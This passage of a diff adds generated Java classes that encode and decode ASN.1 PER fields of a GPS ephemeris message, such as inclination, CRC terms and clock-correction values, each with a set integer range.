+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemI0();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemI0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemI0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemI0 : "
+ + getEphemI0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 25);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemCrc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemCrc();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemCrcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemCrcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemCrc : "
+ + getEphemCrc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 26);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemW();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemW : "
+ + getEphemW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 27);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemOmegaADot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemOmegaADot();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemOmegaADotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemOmegaADotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemOmegaADot : "
+ + getEphemOmegaADot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 28);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemIDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemIDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemIDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemIDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemIDot : "
+ + getEphemIDot().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemCodeOnL2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemCodeOnL2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemCodeOnL2Type() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemCodeOnL2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemCodeOnL2Type != null) {
+ return ImmutableList.of(TAG_ephemCodeOnL2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemCodeOnL2Type from encoded stream.
+ */
+ public static ephemCodeOnL2Type fromPerUnaligned(byte[] encodedBytes) {
+ ephemCodeOnL2Type result = new ephemCodeOnL2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemCodeOnL2Type from encoded stream.
+ */
+ public static ephemCodeOnL2Type fromPerAligned(byte[] encodedBytes) {
+ ephemCodeOnL2Type result = new ephemCodeOnL2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemCodeOnL2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemURAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemURAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemURAType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemURAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemURAType != null) {
+ return ImmutableList.of(TAG_ephemURAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemURAType from encoded stream.
+ */
+ public static ephemURAType fromPerUnaligned(byte[] encodedBytes) {
+ ephemURAType result = new ephemURAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemURAType from encoded stream.
+ */
+ public static ephemURAType fromPerAligned(byte[] encodedBytes) {
+ ephemURAType result = new ephemURAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemURAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemSVhealthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemSVhealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemSVhealthType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemSVhealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemSVhealthType != null) {
+ return ImmutableList.of(TAG_ephemSVhealthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemSVhealthType from encoded stream.
+ */
+ public static ephemSVhealthType fromPerUnaligned(byte[] encodedBytes) {
+ ephemSVhealthType result = new ephemSVhealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemSVhealthType from encoded stream.
+ */
+ public static ephemSVhealthType fromPerAligned(byte[] encodedBytes) {
+ ephemSVhealthType result = new ephemSVhealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemSVhealthType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemIODCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemIODCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemIODCType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemIODCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemIODCType != null) {
+ return ImmutableList.of(TAG_ephemIODCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemIODCType from encoded stream.
+ */
+ public static ephemIODCType fromPerUnaligned(byte[] encodedBytes) {
+ ephemIODCType result = new ephemIODCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemIODCType from encoded stream.
+ */
+ public static ephemIODCType fromPerAligned(byte[] encodedBytes) {
+ ephemIODCType result = new ephemIODCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemIODCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemL2PflagType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemL2PflagType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemL2PflagType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemL2PflagType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemL2PflagType != null) {
+ return ImmutableList.of(TAG_ephemL2PflagType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemL2PflagType from encoded stream.
+ */
+ public static ephemL2PflagType fromPerUnaligned(byte[] encodedBytes) {
+ ephemL2PflagType result = new ephemL2PflagType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemL2PflagType from encoded stream.
+ */
+ public static ephemL2PflagType fromPerAligned(byte[] encodedBytes) {
+ ephemL2PflagType result = new ephemL2PflagType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemL2PflagType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemTgdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemTgdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemTgdType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemTgdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemTgdType != null) {
+ return ImmutableList.of(TAG_ephemTgdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemTgdType from encoded stream.
+ */
+ public static ephemTgdType fromPerUnaligned(byte[] encodedBytes) {
+ ephemTgdType result = new ephemTgdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemTgdType from encoded stream.
+ */
+ public static ephemTgdType fromPerAligned(byte[] encodedBytes) {
+ ephemTgdType result = new ephemTgdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemTgdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemTocType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemTocType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemTocType() {
+ super();
+ setValueRange("0", "37799");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemTocType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemTocType != null) {
+ return ImmutableList.of(TAG_ephemTocType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemTocType from encoded stream.
+ */
+ public static ephemTocType fromPerUnaligned(byte[] encodedBytes) {
+ ephemTocType result = new ephemTocType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemTocType from encoded stream.
+ */
+ public static ephemTocType fromPerAligned(byte[] encodedBytes) {
+ ephemTocType result = new ephemTocType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemTocType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemAF2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemAF2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemAF2Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemAF2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemAF2Type != null) {
+ return ImmutableList.of(TAG_ephemAF2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemAF2Type from encoded stream.
+ */
+ public static ephemAF2Type fromPerUnaligned(byte[] encodedBytes) {
+ ephemAF2Type result = new ephemAF2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemAF2Type from encoded stream.
+ */
+ public static ephemAF2Type fromPerAligned(byte[] encodedBytes) {
+ ephemAF2Type result = new ephemAF2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemAF2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemAF1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemAF1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemAF1Type() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemAF1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemAF1Type != null) {
+ return ImmutableList.of(TAG_ephemAF1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemAF1Type from encoded stream.
+ */
+ public static ephemAF1Type fromPerUnaligned(byte[] encodedBytes) {
+ ephemAF1Type result = new ephemAF1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemAF1Type from encoded stream.
+ */
+ public static ephemAF1Type fromPerAligned(byte[] encodedBytes) {
+ ephemAF1Type result = new ephemAF1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemAF1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemAF0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemAF0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemAF0Type() {
+ super();
+ setValueRange("-2097152", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemAF0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemAF0Type != null) {
+ return ImmutableList.of(TAG_ephemAF0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemAF0Type from encoded stream.
+ */
+ public static ephemAF0Type fromPerUnaligned(byte[] encodedBytes) {
+ ephemAF0Type result = new ephemAF0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemAF0Type from encoded stream.
+ */
+ public static ephemAF0Type fromPerAligned(byte[] encodedBytes) {
+ ephemAF0Type result = new ephemAF0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemAF0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemCrsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemCrsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemCrsType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemCrsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemCrsType != null) {
+ return ImmutableList.of(TAG_ephemCrsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemCrsType from encoded stream.
+ */
+ public static ephemCrsType fromPerUnaligned(byte[] encodedBytes) {
+ ephemCrsType result = new ephemCrsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemCrsType from encoded stream.
+ */
+ public static ephemCrsType fromPerAligned(byte[] encodedBytes) {
+ ephemCrsType result = new ephemCrsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemCrsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemDeltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemDeltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemDeltaNType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemDeltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemDeltaNType != null) {
+ return ImmutableList.of(TAG_ephemDeltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemDeltaNType from encoded stream.
+ */
+ public static ephemDeltaNType fromPerUnaligned(byte[] encodedBytes) {
+ ephemDeltaNType result = new ephemDeltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemDeltaNType from encoded stream.
+ */
+ public static ephemDeltaNType fromPerAligned(byte[] encodedBytes) {
+ ephemDeltaNType result = new ephemDeltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemDeltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemM0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemM0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemM0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemM0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemM0Type != null) {
+ return ImmutableList.of(TAG_ephemM0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemM0Type from encoded stream.
+ */
+ public static ephemM0Type fromPerUnaligned(byte[] encodedBytes) {
+ ephemM0Type result = new ephemM0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemM0Type from encoded stream.
+ */
+ public static ephemM0Type fromPerAligned(byte[] encodedBytes) {
+ ephemM0Type result = new ephemM0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemM0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemCucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemCucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemCucType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemCucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemCucType != null) {
+ return ImmutableList.of(TAG_ephemCucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemCucType from encoded stream.
+ */
+ public static ephemCucType fromPerUnaligned(byte[] encodedBytes) {
+ ephemCucType result = new ephemCucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemCucType from encoded stream.
+ */
+ public static ephemCucType fromPerAligned(byte[] encodedBytes) {
+ ephemCucType result = new ephemCucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemCucType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemEType
